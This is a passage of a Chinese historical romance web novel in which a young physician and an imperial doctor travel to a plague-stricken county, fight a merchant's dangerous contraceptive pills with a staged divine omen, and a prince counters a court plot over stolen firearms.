车子到了驿站,众人纷纷下车下马,指挥驿卒搬运盛放铺盖的箱笼,给马匹喂水喂草料。 程芙系上面巾也下了车,熊秀陪伴她,熊禾则盯着驿卒搬她们的箱笼。 前面传来范吏目爽朗的哈哈声,正与荀御医谈笑,荀御医的笑声略带一丝低醇的沙哑,十分耳熟。 程芙只得硬着头皮走上前几步,垂眸向二位大人行礼。 范吏目大手一挥,“程医女行走在外诸多不便,以后不必多礼,怎么方便怎么来,尤其到了疫区。” “多谢大人关怀。”程芙低着头,始终没敢抬眼,又朝着一言不发的荀御医福一福身,打算悄然消失。 “程医女,好久不见。” 程芙瞳仁微微晃。 问候她的人笑吟吟的,正是五天前曾有一面之缘的寿善药馆少东家! 他,他,他就是荀御医! 短暂的惊愕过后,她垂了眼,欠一欠身,温和道:“大人别来无恙。” 之后荀御医追过来与她讲话,程芙更是始料未及。 驿站的墙垣低矮,泥土夯实而成,墙根长了一丛丛淡紫色的小花,初冬的风一吹过,凉凉的花草香气盈满裙摆,荀叙往旁边挪了挪,免叫风把两人的衣袂吹到一处。 “没想到吧?”他笑呵呵的,随手递给程芙一只金黄色的蜜橘。 人是陌生的,声音也是陌生的,气息更是陌生,但这一刻钻进她耳中的语气是熟悉的,感觉又回来了。 程芙捧着蜜橘,“您为何不早点告诉我?” 她指的寿善药馆相遇那次。 荀叙:“我也想啊,谁知你像条受惊的鱼,嗖地弹开。哇,没想到你本人防备心那么重,满脸警惕,拒人于千里之外。” 寥寥几句话,都不敢正眼打量他。 程芙红了脸,“我不知是您。” 她对他不会有任何防备心。 荀叙眼见她突然快走两步,转到了他正对面,仰脸看了看他,而后深深弯腰揖礼致歉:“当初我并非有意不辞而别,走之前……我很忐忑,其实一直在想您和付大娘会如何看我,可我顾不了太多,只得把你们抛诸脑后。” 她咬了咬下唇,继续道:“我有不得已的苦衷,还请大人原谅。” “我又没生气,谈何原不原谅。”荀叙笑眯眯地剥着蜜橘,“倒是付大娘,她很想你。” “嗯,我会写信专程向她解释。” “你是为了逃婚吧?”他突然问。 程芙脸一白。 荀御医立刻退到了边界外,转移话题道:“说真的,你胆子挺大,就这么跑去疫区,不怕死?” “大人都不怕,我也不怕。” 荀叙就笑了。 “其实也没多吓人。遇到难处大可以跟我讲。”他道。 “好。” 程芙也没客气。 “一直戴着面巾很难受吧,吃橘子都不方便。”荀叙指了指脸颊,示意她可以摘了。 程芙从善如流,取下憋闷的丝帕,对荀叙莞尔一笑。 他也笑笑。 有种发现了老熟人真面目的新奇感。 蜜橘皮薄肉肥,程芙咬了一瓣,甜蜜涌入喉头,一抬眼,发现荀叙早已快步离开她,正在与驿卒的媳妇讲话。 他问:“今晚吃什么?” “回大人,有白米粥、面条、馒头,菜是我们自己种的萝卜、辣椒、菘菜还有腌黄瓜。” “没有肉?” “有的大人。有羊肉和我们自己捞的鱼虾蟹。大人千万别小看我们这里的螃蟹,个头虽小实则内里大有乾坤,蟹黄粘稠流油,蟹膏饱满醇香,正是最肥的季节。” 程芙轻轻咽了下。 荀叙高兴地赏了驿卒媳妇一角碎银,“多来点螃蟹,可惜时间不够,否则挖蟹取肉和黄做成浇透更好吃。” 驿卒媳妇简直不敢相信自己的眼睛,什么贵人啊,打赏人用银子,顿时变得结结巴巴,“大人,若,若想吃,民妇可以给您剥,明早就能吃上。” “那倒不必,对了,无需准备范吏目的晚膳,他过午不食。”说完,忽然回头看程芙,问,“你爱不爱吃螃蟹?” 程芙忙点头,“吃,吃的。” “那再多些螃蟹。”荀叙对驿卒媳妇道,“我怀疑这位医女饭量不小。” 驿卒媳妇嘿嘿笑着应下。 饭点一到,沐浴更衣后的荀叙噔噔噔走下楼,扫了眼饭桌,门外随行护卫坐了两桌,屋里熊家姐妹一桌,程芙独坐角落,范吏目不在。 他径直走到程芙对面,坐下,道:“不介意吧?” “大人说笑了,这要不是公差,我定会请您喝两杯。” “哈哈,我不擅饮酒,不过你可以请我吃饭。” “好。” 程芙询问他付大娘的情况,得知付大娘也没有怪过自己,不禁潸然泪下。 荀叙头疼,蹙眉道:“吃螃蟹时多愁善感是大忌,你没听说过?” “没听过。”程芙忙擦了泪。 驿卒媳妇端上一大盘热腾腾的螃蟹,浓鲜扑鼻,而后上了主食和菘菜炖羊肉。 荀叙也不嫌烫,抓起一只吹着气掰开,抿一口,“欸,真的很好吃。” 程芙学他也抓了只,烫得花容失色,耳朵飞快涨得通红。 “你的手不行,怎能与我相比。”荀叙笑呵呵道。 程芙:“……” 两个人吃光了满满一大盘螃蟹,面前堆着高高的蟹壳,荀叙那一摞明显比程芙的高些许。 熊氏姐妹俩都没吃过他们。 熊秀:“……” 熊禾:“……” 荀叙边擦手边呢喃:“差点忘了你是女孩子,螃蟹性寒,吃这么多……不太好吧?” 程芙想了想,“偶尔一次不打紧。” 次日出发前,她亲眼看见荀叙吩咐驿卒把一木桶鲜活的螃蟹抬上自己的马车。 程芙:“……” 荀叙抬起眼帘发现她的目光,义正言辞道:“你不能再吃了,我给你们买了鱼。” 程芙:“我不跟您抢……” 荀叙:“……” …… 立冬一过,胡同口的大槐树秃得一片叶子也无了,光是穿一层夹棉略有些不够,柳余琴在夹棉的小袄里还套了层夹衫。 阿芙已经离开了三日,此去山高水长。 柳余琴吸吸鼻子,独自逛鹿儿街,看人来人往,店铺林立,不知哪一间会属于她和阿芙。 “柳姨。” 许久未闻的声音,这不是二十余日没露面的凌云。 她弯出一抹温和笑意:“凌大人,许久没见,怎又瘦了这么多?” 凌云含糊道:“着凉生了场病。” “这个天最容易受凉了,还请大人多多添衣加餐,千万小心呐,莫要仗着年轻不爱惜自个。我给您把个脉。”柳余琴上前道。 凌云忙把手别在身后,哈哈干笑两声,“早好了,我每天都在贴膘,下回再见面,您肯定又会觉得我胖了。” “那就好那就好。”柳余琴又问他吃的什么药。 既是长辈又是医女,实在很难不关心一个与自己颇有渊源的后生。 凌云随口说了几味药,无非是调养的,柳余琴听了觉得问题不大就没再继续追问。 “阿芙呢,怎不见她陪着你?”凌云顿一顿,自然而然问了句。 谁知竟问到了柳余琴伤心处,鼻腔一酸。 凌云:“……” “去了皂河县。”柳余琴转眸,目视前方。 “你怎能让她去那种地方?”凌云眉目一凛,几乎怀疑自己听岔了,“何时走的?” “初六。” 今天都初九了!凌云攥了攥手心。 以程芙和毅王的关系,她不愿去谁敢逼迫? 柳余琴:“她长大了,有自己的想法,阻拦她,弄不好可能就离心了。” “那也不能,那也不能,她手无缚鸡之力……”凌云发现自己比柳余琴还急,不由得尴尬。 他倒也不是有多担心那个朝秦暮楚的狗女人,前脚哄了他初吻后脚就跟毅王好上了,只是,只是随口问一句,主要是怕程芙命不好,万一死在了皂河县,岂不显得当初把她带回京师的他像个笑话,白忙活一场,还被她的男人捅一刀。 从来没有人这样戏弄他。 柳余琴:“不叫她去,她定要遗憾一生,将来也不得欢颜,还不如去碰碰运气,再回来兴许便是女官大人,这么年轻的女官去哪里都是头一份。” 凌云怔怔转过身,默然穿过熙熙攘攘的人群,忽然站住了脚,回头眺向柳余琴。 柳余琴:“……” 他嘴唇动了动,几番欲言又止,终是什么也没有说。 阿芙从清安县逃到澹州,后被扣在燕阳一年,又从燕阳府逃到京师,而今从京师逃去了疫区。 她怎么一直在逃……—— 作者有话说:二更我尽量码,如果太晚没发大家就别等了[求你了]《 》 55-60 第56章 马车行了五日, 程芙竟坐得住,仍四平八稳盘腿翻着《伤寒杂病论》,时不时再翻翻太医署整理的皂河县疫情。 当地的福田院人满为患, 僧人便腾出不少房屋称作病坊, 收容无亲可依的患者以及感染严重的患者。慈济院依旧只收容幼童, 禁止无关成年人混入。 看得出当地的官府某些方面还算是用了心, 至少没有完全烂掉,之所以这么说, 是因为官府竟纵容成分不明的“菩萨丸”横行,此丸不就是避子药的功效么? 民众拒绝官府发的避子汤, 转头心甘情愿花大价钱买奸商的菩萨丸, 看起来愚蠢可笑,可那只愚弄民众的鼠辈才是罪大恶极。 程芙蹙了蹙眉,是谁在背后兴风作浪? 熊秀和熊禾姐妹俩轮流出去骑马, 不然会闷死的。 她们每次回来都给程芙带一朵小野花或者生命力旺盛的草。 程芙很喜欢。 姐妹俩比程芙更欢喜,因为荀御医也会骑马,不管男女老少,谁靠近他,都能跟他搭上话,十分可亲。 她们喜欢与荀御医讲话。 不过他也不是所有话都搭理的,最好说些家乡特殊的花啊草的给他听, 或者稀奇的土方子, 说到他的心坎儿上,他能与你聊一天一夜。 程芙低着眼睫翻书,乌黑浓密,遮住了走神的眼仁儿,她的心早已飘回了京师, 俯瞰着属于自己的小小的宅院。 姨母倚窗做针线。 她现在穿的便是姨母亲手的缝的青碧色百迭裙,行路极方便,还有蜜合色的小袄,腰上系着烟霞橙色的绦带,发髻依旧是简单至极的小纂儿,仅披了条青碧色轻纱幅巾。 一身素净,倒也符合她对外的小寡妇身份。腰间的一抹烟霞橙是唯一的明媚,让人感觉她依旧鲜活,生命力旺盛。 一颗小桂圆咕噜噜滚到她手边。 荀叙骑着骏马经过她窗前,“看什么?” “皂河县疫情。” “是不是发现了菩萨丸?” “是。”程芙眉心轻蹙,“有人愚弄百姓。避子药物虽有损女子身体,可至少需要一年以上才会出现宫寒症状,这才短短两月,就有妇人因宫寒痛晕过去,明显是服用了含有大量朱砂汞的劣质避子药。” 荀叙点了点头,“还有行-房痛楚的案例,以后极有可能发展为余病,伴随终生。” 程芙严肃地点了点头。 “致人夫妻不协,有伤天和。”她道,转而惊讶,“您也通女科?” 荀叙:“略通。” 看起来很通。 “我对十三科均感兴趣,只是女科上手太难了,唯有家中姐姐妹妹才允许我把把脉,出去了到处都是麻烦。” 要么把脉期间占他便宜,要么诬告他占便宜,惹下许多糊涂官司。正正经经不占便宜的,却不许他碰,甚至哭了…… 唯有烟花之地随便碰随便看,然而观察女子多少有点病态,看了不负责说不过去,可他真的接受不了别的男人碰过的女人,没人碰过的则更不能碰,因长辈绝不会同意他纳青楼女子进门。 左思右想,他决定去县衙充任仵作,谁知做了仵作人家也不许他瞧,只准女仵作看。 荀叙狼狈退场。 程芙冰雪聪明,自是明白他未尽之言,谁说不是呢,女患者求医难,男医者想钻研女科也很难。 大家被条条框框束缚着,都不容易。 熊秀和熊禾面面相觑,她们的耳朵听到了什么? 行-房是能拿出来青天白日说的吗? 且是一男一女用无比平静严肃的语气,不知道的定要以为他俩又在讨论今晚吃什么。 姐妹二人顶着大红布似的脸,只恨不能晕过去。 …… 天黑前,众人准时抵达定州交界处的驿馆,此时已是十月十六。 一直跟在他们身后寻求官家庇护的商队也停了下来,塞给驿丞五两银子求宿。 虽说驿馆是为了供传递公文、移咨办差的官府中人所设的休息之地,但空闲时居多,如不弄点旁的营生很难维持驿馆上下支出,所以也接待来往客商,只不过费用比普通客栈要贵出些许。 一下子出五两银子属于大势主大菩萨,驿丞岂有不笑纳之理,不过他仍是据实已告:“您也瞧见了,今晚要接待京师的官爷,其中还有女大人,肯定得挑单独的房间。地方怕是不太够……” 客商笑道:“我们都是粗人,不挑剔,有片瓦遮身即可。” 如此好说话,驿丞感激不尽,当然不能真把十几个人都塞进一间房,于是东挪西凑,好歹挪出了四间小屋子,还算能住人了。 荀叙扫了这群客商一眼,笑着去追程芙,与她讨论晚食。 未料此间驿丞和驿卒笨拙难评,当晚煮了一锅杂烩菜,肉烧得柴且腥,菜不是淡了便是老了,连最不挑食的程芙也只能勉强用下小半碗。 驿丞和驿卒被随行侍卫骂了个狗血淋头,当下知道怕了,一叠声告饶,其中胆子小的竟还尿了裤子。 气得护卫哭笑不得。 闻听动静,隔壁客商奉上两坛好酒和一整只处理干净的山羊,道:“多谢官爷允许我们跟在后头借光,两天下来,受益无穷。跟着官爷,我们再不用怕路上的绿林劫匪。微许孝敬不成敬意,还望官爷赏我们脸面。” 护卫们检查了酒肉,挺新鲜的,并无脏东西,便道:“多谢。恰巧同路,只要你们不惹麻烦,跟着也无妨。” 客商千恩万谢,不停作揖。 大家算是形成了一条相互受益的闭环。 客商从官员队伍中获得保护,而官员队伍从客商中获得生活便利。 荀叙慢腾腾剥龙眼,眼角微微挑起,笑了笑,客商发现他,忙弯腰作揖,他把龙眼壳丢客商脑袋上,客商摸着额头,只笑笑也不生气。 今晚的月亮真圆啊,明日便能抵达定州。 程芙盘腿窝于草垛,麦秆的香气让人觉得尘世很温柔。 熊秀和熊禾则倚着不远处的草垛席地而坐,啃羊肉,抬眸就能望见程医女秀气婀娜的背影嵌在月亮上,那剪影可真美啊。 如此美丽的女人肯定没有烦恼,走到哪儿都被人呵护着,温柔以待。 这是普通人对于大美人的揣测。 只见荀御医走过来,爬上草垛,盘腿坐程芙身边,问:“嗳,找我啊?” 程芙从袖底小心翼翼抽出一卷牛皮纸包裹严严实实的东西,低声道:“只是借你阅读几日,阅完要还我的。” 荀御漂亮的眼睛微微瞠,“什么好东西?” “看了你便知。”程芙顿一顿,不放心地叮咛,“这可是我阿娘亲手所绘,需得仔细爱护,市面绝无仅有的宝贝。我只借给付大娘和你。” 荀叙见她如此慎重,连忙收起轻率,双手承接,飞快填进自己的袖子,道:“我会的。是不是避-火-图啊?” 除了这个他想不到还有什么法子能让他研究女人。 不管怎样,程芙解了他一直以来的困境,否则他早晚得牺牲自由,以成亲换取了解女人的机会。 程芙不太懂他脑子里的弦,不过还是很尊重他,回道:“不是那种图,只有女子,非常准确清晰的女图。” 荀叙一听,不由来了兴趣,当即扯开牛皮纸,展开白绢。 “令堂实乃女中豪杰。便是不从医,做女画师定然也是佼佼者。”荀叙双目放光,喟叹道。 程芙脸一红,紧张地提醒他,“回去再看,莫要别人发现!这里除了我把你当正常人,叫旁人知晓定以为你是银-魔-色-中饿鬼。” “哦哦。”荀叙连忙重新收进袖袋,心脏扑通扑通直跳,老天爷,太逼真了。 程芙转眸盯着月亮,对着小小的铜壶,默默饮了口酒。 荀叙:“没想到你还真能饮酒?” “略饮。”程芙淡淡道,“只是小酌,不敢多饮。” 她瞥了他一眼,问:“你怎么还不走?” 第57章 这个问题把荀叙问得一愣, 旋即干笑两声,“我看见程医女郁郁寡欢,独自饮酒, 那我不能装什么都没瞧见是不是?我得关心一句, 显得自己是个十分温存又暖心的同僚。” “您一直是特别好的人。” “又不是在太医署, 咱俩别用敬称了吧。” “好。” “阿芙。” “嗯。”她抬眸看他, 很真诚地问,“我应当怎么称呼你?” 她当他是燕阳旧友, 可也没法完全忽略彼此巨大的身份诧异。 一个很老实厚道的姑娘,想要再次确认该如何定义这段匪夷所思的友谊。 “荀叙或者荀大哥, 多亲切。” 她被他逗笑了。 荀叙手臂撑在身后, 伸长了腿,“若不介意,也可以跟我聊点私人的事。” “我的私事一团糟。”程芙摇了摇头, 默默抿一小口铜壶里的酒,“在燕阳你不就什么都清楚。如今,如今情况比燕阳好一些,你看,咱俩坐这里讲话,毅王就管不着。” 他忙着争权夺势,没空玩-弄-女子。 荀叙嘬了嘬下唇, “你很烦他?” “何止是烦。” “别让他听见了。”荀叙左右环顾, 而后亮晶晶地看着她,“没有他,你觉得自己会过得更好?” “谁知道呢。” 或许早就死在了澹州的班房,也或许又回到了清河县,收拾收拾远嫁六旬老叟, 闻着老人味了却残生。 命运让她落进了崔令瞻的手里,把腐朽肮脏的老叟换成了年轻貌美还香喷喷的身体,但她没办法感激。 甚至伤心难过。 她有多想念贵公子就有多痛恨自己,有时甚至恨素未谋面的外祖父,恨他为何卖掉阿娘,恨素未谋面的生父,何必让阿娘怀上她…… 荀叙的眼睛仍在她身上,温和、平静,像是在思考她这个人糟糕的男女关系,也像是在同情。 “倒也不用可怜我的。”程芙又饮了一口酒,“在你们看不见的脚底下,像我这样的人到处都是,只不过受辱的方式不同罢了。” 她笑着指了指自己的脸,“我这么好看的,基本都是那方面用途。” 荀叙:“好看的没有自保能力的用途都差不多。” 程芙纳罕:“原来你懂。” “为何会觉得我不懂?” “我以为你是个很单纯的人。” “我是个郎中,关于人的事儿,基本都懂,不懂的就想法子实践,总会弄懂的。”他笑着拍拍袖子里的女图,“这不又让我弄懂了一件事。” “成亲不就能解决?”程芙实在忍不住提醒了一声。 “我试过自-渎,已经了解了男女之事,不需要再成亲。” 程芙:“……” 但凡荀叙跟她讲话时别有深意,或者眼神里有一丝的闪躲晦暗,类似猥-琐的意思,她都能立刻唾弃,拂袖走人。 可他偏偏正大光明,清澈见底。 如何讨论别的疑难杂症就如何讨论男女之事。 提及“行-房”和“自-渎”两个词,表情乃至眼神,与平时讨论《金匮要略》的四十道疑难杂症分毫无差。 但程芙到底是正常人,略有些接不住,唯恐他把详细过程和心得也说出来,忙换了个话题。 程芙:“说说皂河县的事吧,菩萨丸深入民心,咱们过去跟当地民众唱反调,只会适得其反。” “你可真聪明。”荀叙不假思索地称赞,“实话告诉你,菩萨丸既能横行,必然有人在背后默许,一旦唱反调,可就把当地黑的白的全都得罪了。” “怕不怕?”他朝她眨眨眼。 “有一点。”程芙攥了攥手心,凛然道,“那咱们就强占菩萨丸的一亩三分地,让民众觉得有更好的选择。” 荀叙望着她的眼神恍惚有了些波动,饶有兴味问:“万一贪官阻挠你怎么办?” “不会的。”程芙信心满满,“贪官若只图银子,当地的救助院也不会分得那么细,至今未曾断粮断药。他之所以默许菩萨丸横行,主要因菩萨丸本身就是避子药,确实能在短期稳固他的政绩,那他何必再去逼迫民众喝避子汤,出力不讨好。” “有更好的替代品,他何乐不为?”荀叙替她讲下去。 轻愁从程芙的眼里消散,她的眉眼一点点舒展,樱桃般厚嘟嘟的红唇抿出了一抹微笑,令人眼前乍亮。 荀叙目不转睛。 程芙道:“所以咱们过去的第一件事便是造势,推行太医署避子药!” 他问:“怎么造?” “搞点鬼神……” 两人异口同声,灵台竟是心照不宣,相视片刻一齐笑了。 荀叙往后退了一下,“我去叫醒范吏目,把计划……” 程芙按住他袖端,“明日再一起商讨也不迟。他那么大年纪,起得一向又早,现在被你吵醒,后面可能就睡不着了。” “好。”荀叙低眸看她按住自己袖端的手。 程芙连忙收回,利落起身,顺着草垛的斜坡爬了下去,“太晚了,我先回去休息,你也早点睡吧。” 她招呼了声熊氏姐妹,三人提着灯笼走回了屋。 荀叙在草垛独坐片刻,也回去睡觉了。 队伍是在十月廿一抵达定州皂河县。 皂河县知县领着稀稀拉拉的人马夹道相迎,倒也不是对朝廷官差不敬,实在是疫情期间最忌人群聚集,越分散越好。 董知县定睛一看,对面浩浩荡荡二十余人全部裹着褐色的巾布遮挡面部,密不透风,不禁舒了口气,因为前来迎接特使的他们同样包裹得密不透风,如此,倒也不会被特使们申斥不够庄重了。 那厢为朝廷官差准备的宅邸,全部按照吩咐以硫磺熏蒸过,器皿则煮沸三遍,屋里屋外的熏炉燃烧着苍术、艾叶等祛毒药材。 方方面面布置的十分仔细。 先一步抵达的护卫检验后,荀叙等人恰好穿过了皂河县的拱桥。 “董某为各位大人准备了人员稀少的边郊三进院,第三进院刚好方便随行的程医女,二位大人可在一进院歇息,各院中都备有身强体壮的仆婢杂役,以供大人们驱使。” “董大人有心了。”荀叙朝他拱拱手。 “有劳了董大人。”范吏目也客气拱手。 此番场合无需程芙露面,她坐在车里静静地听车外的寒暄。 董知县与朝廷两位来使相互行礼,礼毕方才推让一番,各自上马的上马,乘车的乘车,前往临时宅邸。 …… 与此同时,京师发生了一件大事,盗窃五把火铳的贼匪被太子的禁卫当场人赃并获。 贼匪不是旁人,正是毅王的心腹元衡。 太子崔逞乾如同喝了一大碗鸡血,上朝的步伐几乎要蹦起来。 他先是像模像样替崔令瞻惋惜,继而慷慨陈词,罪证确凿,要求皇帝将其交由北镇抚司彻查此案。 更吩咐禁卫当场剥去崔令瞻亲王服制。 珠帘绣幕,静立宝殿巨大座屏后的凌云蓦地抬眸,闪过灼灼亮光。 只待一声令下,他定要亲自将崔令瞻押回北镇抚司,扒下他金尊玉贵的皮囊。 皇帝感到眉心钻心地疼,沉声问:“元衡怎么回事?” 他一发话,周围鸦雀无声,齐刷刷看向毅王。 “……”崔逞乾闹了个没脸,狠狠瞪了瞪左右禁卫,暗暗咬牙闭上嘴。 崔令瞻举步上前,撩衣跪地道:“回皇祖父,元衡无罪,孙儿是被人冤枉的。” 皇帝:“说说。” 崔逞乾怒道:“你还嘴硬,元衡偷偷转移火铳途中落网,在场所有人都瞧见了从他身上搜出罪证,难不成还是谁众目睽睽之下硬塞给他的?!” “敢问皇叔如何得知元衡半夜会离开我的王帐,又怎知他身上一定有火铳?离开王帐的不止他,您未免太过精准。” “什么意思?”崔逞乾拧眉道,“此案原就是你失职造成,你就是最大的嫌疑人。孤命人盯着你有何不对?” 反正抓到了证据,崔逞乾干脆撕破脸,承认日夜盯守毅王,将其软禁。 “皇叔为何不仔细检查再定侄儿罪?” 崔逞乾一怔:“检查什么?” 崔令瞻不再看他,转而朝皇帝深深一叩首,“元衡身上的火铳乃皇祖父当年亲手所赠,赐予孙儿防身,血战辉王余孽,火铳机括还印有您的题字,不知皇叔为何听信谣言,一夕之间便定罪孙儿,将元衡下了大狱……” 什么? 崔令瞻也有火铳? 崔逞乾的脸色一阵青绿。 元衡……不是收了两万两白银答应运送火铳的吗?为何运送途中突然变成了崔令瞻的? 他感到脑子有一阵空白,似是明白了什么,不啻晴天霹雳,还不如什么都不明白。 皇帝布满沟壑的脸颊动了动,浑浊的目光投向崔逞乾,默然不语。 崔逞乾:“……?” 事情到了这一步,皇帝怎可能看不清自以为是的守成之君太子其实挺蠢的,被阿诺和心腹耍得团团转。 怎会蠢成了这样? 他的亲生骨血不该这么蠢。 便是一事无成的瑾王也是因为不爱江山只爱美人才甘心碌碌无为,更别提从前的燕王,辉王,便是最不讨人喜欢的竼王亦是文武双全的盖世英豪。 只可惜燕王早逝,辉王谋反,竼王毁了容。 剩下的几个儿子实在过于幼小,而长成的太子却愚蠢至此。 他忽然感到疲惫,重重叹了口气。 阿诺是个很好的孩子,并没有让皇帝过于为难,将自己摘了出去便再无二话。 崔逞乾攥着拳头,面如红血,梗着脖子伫立当场。 在场的御史也仿佛被集体毒哑了。 说到底,牙尖嘴利的御史也得看皇帝脸色行事。 有些事让皇帝下不了台,谁都落不着好。撞柱子进谏的毕竟还是少数。 深夜,祖孙俩对坐养心殿,宫灯通明,人心也都是明亮的。 “有什么话直说吧,太子做得不地道。”皇帝暗示崔令瞻可以讨个赏。 崔令瞻轻轻放下棋子,坐直身子,诚恳地望着皇帝,“自从孙儿回京,一直不太平,可是皇祖父您需要孙儿,孙儿留守军机营便责无旁贷。”表完忠心,他才眉心微蹙道,“只是此番到底令皇叔失了颜面,倒不如让孙儿暂且避避风头。所以孙儿请求微服私访皂河县,督查赈灾款项,不叫皇祖父的心血白费。” 那一笔笔雪花银子,经过层层盘剥,流到皂河县不知还剩多少。这种事无可避免,想要除根很难,但凡事都有底线,一旦超过底线,势必要抓出几只杀鸡儆猴的。 皇帝却还是挺意外,“那边是疫区。” “太医署的太医都敢过去,孙儿也敢。” “不怕死?” “不怕。孙儿体魄比普通人强健数十倍,又有皇祖父庇佑,必能逢凶化吉。” 皇帝没说同意也没说不同意,捻着棋子幽幽道:“负责押送赈灾物资的户部度支员外郎姓邱,皂河县也有不少人姓邱。” 崔令瞻垂眸:“孙儿明白。” “去吧。”皇帝忽然将手中棋子一掷,打散了满盘棋局,“去吧去吧,别让邱贵妃太为难。” “是,皇祖父。” 十月廿二崔令瞻轻骑整装,只带了十二名亲卫直奔定州皂河县。 此时的程芙将将在皂河县官邸站稳脚跟,与荀御医和范吏目仔细密谋大半天,敲定了一个计划。 现在的她将不再是女科的小小医员,而是祝由科吏目。 祝由原是巫医演变的分科,其实更类似于权变之术,通过心理方面的安慰和暗示减少病患的痛苦,不乏奇效。 民间却惯以此科乃太医署画符祈祷的神秘一科,十分玄乎,颇有钦天监那个味道。 荀叙当晚搞了一盆矿粉泼进城隍庙,次日夕阳西沉,城隍庙的屋顶就掀翻了,炸开一串五颜六色的烟。 惊得周围鸡犬不宁。 衙门的捕快迅速赶到现场,勘察一番竟挖出了一尊黄帝神像。 黄帝乃上古药王,杏林的守护神,举凡为医者、药铺、药材贩运商、药农哪个不跪拜? 在他们心中的地位明显高出菩萨一大截。 天降异象,五彩呈祥,可见是有祥瑞降临。 于是口口相传,经过了药材商贩和药农的润色,传的神乎其神,不过三日,县衙发布了一则振奋人心的告示:皂河县苦瘟疫久已,妇人死伤过重,惊动了上神黄帝,特于三日前托梦太医署祝由科程医女,赐下回灵丹秘方,服之不仅能极大减轻妇人月事之痛,还能免于妇人妊娠之苦,只待瘟疫散尽,休养生息便能重新有孕。 听起来跟菩萨丸差不多,不不,比菩萨丸厉害得多!它居然能减轻月事之痛,而菩萨丸只会让妇人痛得死去活来。 更可怕的是,回灵丹居然是免费的! 董知县龇着牙,吸口气,果然他还是过于耿直。 当初求爷爷告奶奶,挨家挨户发避子汤,一个个摔手抵抗,谁知太医署的人过来胡咧咧再跳个大神,避子药就成了人人争抢的宝。 皂河县最大的药铺东家焦员外,当场砸碎了茶碗。 第58章 菩萨丸一千粒的本钱仅需一钱银子, 却可以净赚十两银。 简直是一本万利。 皂河县的县民拿分到手的赈灾银和口粮换取菩萨丸,以保家中妇人性命,而买不起或不舍得买的人家, 妇人不是难产便是产后血崩。 死的人一多, 但凡还饿不死的人家唯有砸锅卖铁硬买了。毕竟娶媳妇不容易, 死一个还是很伤的, 时人最怕断子绝孙。没媳妇不就离断子绝孙不远了。 实在拿不出钱的还可以卖-身,成为焦员外家的佃农和仆役。 短短两个月, 焦员外兼并了大片肥田和仆役。 而这才是他最大的目的。 毕竟疫区的穷鬼再炸还能炸多少油水,远不如良田和劳动力来得划算。 总之在疫情结束前, 焦员外可以尽情汲取皂河县县民的剩余价值。 未料太医署的人横插一杠, 断了他的财路,无异杀父杀母,不共戴天! 要说这群县民, 也是摊上了好时候,大昭真真是富庶异于任何朝代,这种事搁在以往,他们不是被封城活活饿死,便是被一把大火烧个干净,而身在大昭的他们虽然因为疫情也要忍饥挨饿受冻,但源源不断增派的粮食药材棉花使得他们得以吊住半条命, 好歹保住了六成的人口。 可惜活下来的六成多为男子, 妇人伤亡之惨重实不忍直视。 程芙所要做的便是于半年内尽可能减少妇人伤亡。 不怀孕就可以,因为有孕的女子完全无法抗衡瘟疫的肆虐,便是勉强活下来将来生产也几多艰难。 而荀御医和范吏目则要在这段时间改良针对瘟疫的药剂,并对比程芙提供的祛毒散和汤御医的清腑散。 分辨谁才是更有效的良方? 清腑散虽会让民众留下余病,但确实很有效。 而程芙寂寂无名, 荀叙也不能因为私交就完全信任她的方子。 不过经过一番比对研究,他发现程芙的药方皆有出处,只是至今无人如此配比,但确实有缓解咳血的功效。 程芙的生母堪称奇才,与太医署失之交臂,实乃杏林之憾。 临时官邸的二进院地方宽敞,架起了一只只熬煮四毒汤的大锅。每人每日均能分得一盆,用以清洗面巾。 荀叙默看片刻,往石阶上一坐,招招手,程芙立刻走了过来,一身短褐,头发包着靛蓝汗巾。 真可爱。 “这些医婆都是你让人请来的?”他问。 说话的同时往旁边挪了挪,腾出块干净的空地,示意程芙坐他身边。 程芙嫌石头阶梯凉,冻屁-股,便摇了摇头,回他:“是的。她们原本就是在县衙里帮忙,略懂些医理基础,熬药、分拣药材上手极快。” “别走太近,保持点儿神秘感。”荀叙说,“有什么事多吩咐熊家姐妹。” 程芙警醒地点点头。 荀叙起身示意她跟上。 两人去了东边的厢房,范吏目也在,没戴面巾,正捏着西洋镜逐字逐句查看当地杏林整理的脉案,瞥见两个年轻人走进来,仿佛枝头新鲜的花叶,披着晨光,煞是好看,不由笑了笑。 “范吏目。”程芙欠身问安。 范吏目点点头,继续翻脉案,荀叙扯下自己的面巾,见程芙还蒙着,突然伸手帮她扯下。 唬了程芙一跳,瞪他,他却挑挑眉,程芙知他只是单纯手贱,并无恶意,自然不值当与他计较。她将面巾叠好塞进袖端,跟在荀叙身后走进次间。 “我和范吏目商量过,今后再有事,你直接过来找我们,或者吩咐熊家姐妹传话。”荀叙说,“莫再随意出门。” 程芙美眸微瞠,“发生何事?” “跟咱们走了一路的客商老佟可还记得?” “记得。” “现在就住西面那栋宅院。他提醒我当地的帮闲一直在附近转悠,鬼鬼祟祟的。我猜多半是卖菩萨丸的想搞事,你一个女孩子还是避开些好。” “那你们……” “我和范吏目都是男人,他身边有长武,我有平安和喜乐,而且我自己就能揍得他们满地找牙。”荀叙扬了扬拳头,“可你不一样,一戳就倒了,好女不吃眼前亏。” 程芙:“……” 她想过得罪人,无非被骂一骂造一造谣,万没想到对方青天白日就敢找上门威胁。 这还是朝廷的官差呢。 荀叙笑了笑,环臂往后一靠,道:“果然还是小了点呀妹妹,没见过真正的江湖险恶。” “我只是没想到他们连朝廷的人都不怕。” “太医署这点品秩,放到哪里都不够地头蛇搓牙的。”荀叙说,“不过我除外哈,一般没有人惹我,毕竟我又不低调,经常仗势欺人。但你不行,明白吗?” “明白。” “现在知道怕了,来时光想着升官,有没有想过别人为何避之不及?” 程芙眼睫乱颤,缓了缓,闷声道:“有依靠和退路的人当然没必要来这里冒险。” 荀叙神色微愕,目不转睛凝看她。 “我只有自己和姨母,我们偏偏又生得瘦小,一点点小波折就可能吹得我们站不起来。” “邱贵妃一句话便能将我姨母扣押,而我,除了站在宫外面看着,什么都做不了,尝尽了无势可仗可依的苦,连出卖-身体的昏招都使得出。你可能理解不了,一个人怎么能这么没有底线……” “我理解,现在完全理解了。你走的每一步都有你的道理。”荀叙下意识轻轻拍了拍她的肩,觉得不合适,又缩了回去,“对不起,我只是怕你不听话胡乱跑,就故意危言耸听吓唬你,其实那几个小帮闲连喜乐都打不过,只要我们在一起,没有人能伤害你。” “谢谢你,我不会胡乱出门。” “可不可以别生我的气?” “我没生你的气……” “……”荀叙怔了下,转忧为喜,“那我便放心了,方才你眨眼睛的样子好委屈呀,吓得我心脏都揪成一团,有点疼。” 